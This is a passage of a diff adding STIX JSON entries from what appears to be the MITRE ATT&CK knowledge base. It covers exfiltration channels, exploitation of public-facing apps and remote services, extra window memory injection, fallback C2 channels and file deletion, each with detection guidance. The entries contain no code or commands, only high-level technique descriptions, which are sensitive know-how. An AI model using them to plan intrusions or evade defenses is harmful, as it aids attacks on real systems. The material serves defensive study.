protocols include FTP, SMTP, HTTP/S, DNS, or some other network protocol. Different channels could include Internet Web services such as cloud storage." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1041", + "source_name": "mitre-attack", + "external_id": "T1041" + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detection": "Detection for command and control applies. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "x_mitre_data_sources": [ + "User interface", + "Process monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_network_requirements": true, + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "exfiltration", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "name": "Exfiltration Over Command and Control Channel", + "created": "2017-05-31T21:30:41.804Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Data exfiltration is performed over the Command and Control channel. Data is encoded into the normal communications channel using the same protocol as command and control communications." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1011", + "source_name": "mitre-attack", + "external_id": "T1011" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detection": "Processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a mouse click or key press) but access the network without such may be malicious.\n\nMonitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.", + "x_mitre_contributors": [ + "Itzik Kotler, SafeBreach" + ], + "x_mitre_data_sources": [ + "User interface", + "Process monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_network_requirements": true, + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "exfiltration", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87", + "name": "Exfiltration Over Other Network Medium", + "created": "2017-05-31T21:30:25.159Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries could choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1052", + "source_name": "mitre-attack", + "external_id": "T1052" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute when removable media are mounted.", + "x_mitre_system_requirements": [ + "Presence of physical medium or device" + ], + "x_mitre_data_sources": [ + "Data loss prevention", + "File monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_network_requirements": false, + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "exfiltration", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549", + "name": "Exfiltration Over Physical Medium", + "created": "2017-05-31T21:30:46.461Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1190", + "source_name": "mitre-attack", + "external_id": "T1190" + }, + { + "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6662", + "source_name": "NVD CVE-2016-6662", + "description": "National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018." + }, + { + "url": "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/", + "source_name": "CIS Multiple SMB Vulnerabilities", + "description": "CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018." + }, + { + "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7169", + "source_name": "NVD CVE-2014-7169", + "description": "National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018." + }, + { + "url": "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project", + "source_name": "OWASP Top 10", + "description": "OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018." + }, + { + "url": "https://cwe.mitre.org/top25/index.html", + "source_name": "CWE top 25", + "description": "Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011, September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved April 10, 2019." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Packet capture", + "Web logs", + "Web application firewall logs", + "Application logs" + ], + "modified": "2019-04-25T02:55:50.177Z", + "x_mitre_detection": "Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "initial-access", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", + "name": "Exploit Public-Facing Application", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.1", + "type": "attack-pattern", + "description": "The use of software, data, or commands to take advantage of a weakness in an Internet-facing computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL) (Citation: NVD CVE-2016-6662), standard services (like SMB (Citation: CIS Multiple SMB Vulnerabilities) or SSH), and any other applications with Internet accessible open sockets, such as web servers and related services. (Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211).\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities. (Citation: OWASP Top 10) (Citation: CWE top 25)" + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1203", + "source_name": "mitre-attack", + "external_id": "T1203" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_system_requirements": [ + "Remote exploitation for execution requires a remotely accessible service reachable over the network or other vector of access such as spearphishing or drive-by compromise." + ], + "x_mitre_data_sources": [ + "Anti-virus", + "System calls", + "Process monitoring" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "name": "Exploitation for Client Execution", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.0", + "x_mitre_remote_support": true, + "type": "attack-pattern", + "description": "Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n### Browser-based Exploitation\n\nWeb browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1192). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n### Office Applications\n\nCommon office and productivity applications such as Microsoft Office are also targeted through [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193), [Spearphishing Link](https://attack.mitre.org/techniques/T1192), and [Spearphishing via Service](https://attack.mitre.org/techniques/T1194). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n### Common Third-party Applications\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1212", + "source_name": "mitre-attack", + "external_id": "T1212" + }, + { + "url": "https://technet.microsoft.com/en-us/library/security/ms14-068.aspx", + "source_name": "Technet MS14-068", + "description": "Microsoft. (2014, November 18). Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780). Retrieved December 23, 2015." + }, + { + "url": "https://adsecurity.org/?p=1515", + "source_name": "ADSecurity Detecting Forged Tickets", + "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "John Lambert, Microsoft Threat Intelligence Center" + ], + "x_mitre_data_sources": [ + "Authentication logs", + "Windows Error Reporting", + "Process monitoring" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "credential-access", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", + "name": "Exploitation for Credential Access", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. (Citation: Technet MS14-068) (Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1211", + "source_name": "mitre-attack", + "external_id": "T1211" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "John Lambert, Microsoft Threat Intelligence Center" + ], + "x_mitre_data_sources": [ + "Windows Error Reporting", + "Process monitoring", + "File monitoring" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Exploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "Anti-virus", + "System access controls" + ], + "id": "attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b", + "name": "Exploitation for Defense Evasion", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.\n\nAdversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1063). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1068", + "source_name": "mitre-attack", + "external_id": "T1068" + }, + { + "url": "https://capec.mitre.org/data/definitions/69.html", + "source_name": "capec", + "external_id": "CAPEC-69" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_system_requirements": [ + "In the case of privilege escalation, the adversary likely already has user permissions on the target system." + ], + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "Windows Error Reporting", + "Process monitoring", + "Application logs" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery.\n\nHigher privileges are often necessary to perform additional actions such as some methods of [Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "name": "Exploitation for Privilege Escalation", + "created": "2017-05-31T21:30:55.066Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform Privilege Escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising a endpoint system that has been properly configured and limits other privilege escalation methods.", + "x_mitre_effective_permissions": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1210", + "source_name": "mitre-attack", + "external_id": "T1210" + }, + { + "url": "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/", + "source_name": "CIS Multiple SMB Vulnerabilities", + "description": "CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018." + }, + { + "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0176", + "source_name": "NVD CVE-2017-0176", + "description": "National Vulnerability Database. (2017, June 22). CVE-2017-0176 Detail. Retrieved April 3, 2018." + }, + { + "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6662", + "source_name": "NVD CVE-2016-6662", + "description": "National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018." + }, + { + "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7169", + "source_name": "NVD CVE-2014-7169", + "description": "National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_system_requirements": [ + "Unpatched software or otherwise vulnerable target. Depending on the target and goal, the system and exploitable service may need to be remotely accessible from the internal network." + ], + "x_mitre_data_sources": [ + "Windows Error Reporting", + "Process monitoring", + "File monitoring" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "lateral-movement", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "name": "Exploitation of Remote Services", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Scanning](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services. (Citation: NVD CVE-2014-7169)\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1133", + "source_name": "mitre-attack", + "external_id": "T1133" + }, + { + "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/", + "source_name": "Volexity Virtual Private Keylogging", + "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Daniel Oakley", + "Travis Smith, Tripwire" + ], + "x_mitre_data_sources": [ + "Authentication logs" + ], + "modified": "2019-04-25T14:42:06.607Z", + "x_mitre_detection": "Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "initial-access", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "name": "External Remote Services", + "created": "2017-05-31T21:31:44.421Z", + "x_mitre_version": "2.0", + "type": "attack-pattern", + "description": "Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028) can also be used externally.\n\nAdversaries may use remote services to initially access and/or persist within a network. (Citation: Volexity Virtual Private Keylogging) Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of [Redundant Access](https://attack.mitre.org/techniques/T1108) during an operation.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1181", + "source_name": "mitre-attack", + "external_id": "T1181" + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx", + "source_name": "Microsoft Window Classes", + "description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017." + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx", + "source_name": "Microsoft GetWindowLong function", + "description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017." + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx", + "source_name": "Microsoft SetWindowLong function", + "description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017." + }, + { + "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html", + "source_name": "MalwareTech Power Loader Aug 2013", + "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017." + }, + { + "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/", + "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013", + "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017." + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx", + "source_name": "Microsoft SendNotifyMessage function", + "description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017." + }, + { + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "source_name": "Endgame Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "x_mitre_data_sources": [ + "API monitoring", + "Process monitoring" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Endgame Process Injection July 2017)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0", + "name": "Extra Window Memory Injection", + "created": "2018-01-16T16:13:52.465Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Endgame Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)", + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Host intrusion prevention systems", + "Data Execution Prevention" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1008", + "source_name": "mitre-attack", + "external_id": "T1008" + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "x_mitre_data_sources": [ + "Malware reverse engineering", + "Netflow/Enclave netflow", + "Packet capture", + "Process monitoring", + "Process use of network" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_network_requirements": true, + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "command-and-control", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "name": "Fallback Channels", + "created": "2017-05-31T21:30:21.689Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1107", + "source_name": "mitre-attack", + "external_id": "T1107" + }, + { + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/", + "source_name": "Trend Micro APT Attack Tools", + "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015." + } + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process command-line parameters", + "Binary file metadata" + ], + "x_mitre_contributors": [ + "Walker Johnson" + ], + "x_mitre_permissions_required": [ + "User" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "name": "File Deletion", + "created": "2017-05-31T21:31:17.915Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)", + "x_mitre_defense_bypassed": [ + "Host forensic analysis" + ] + }, + { + "external_references": [ + { + "url": 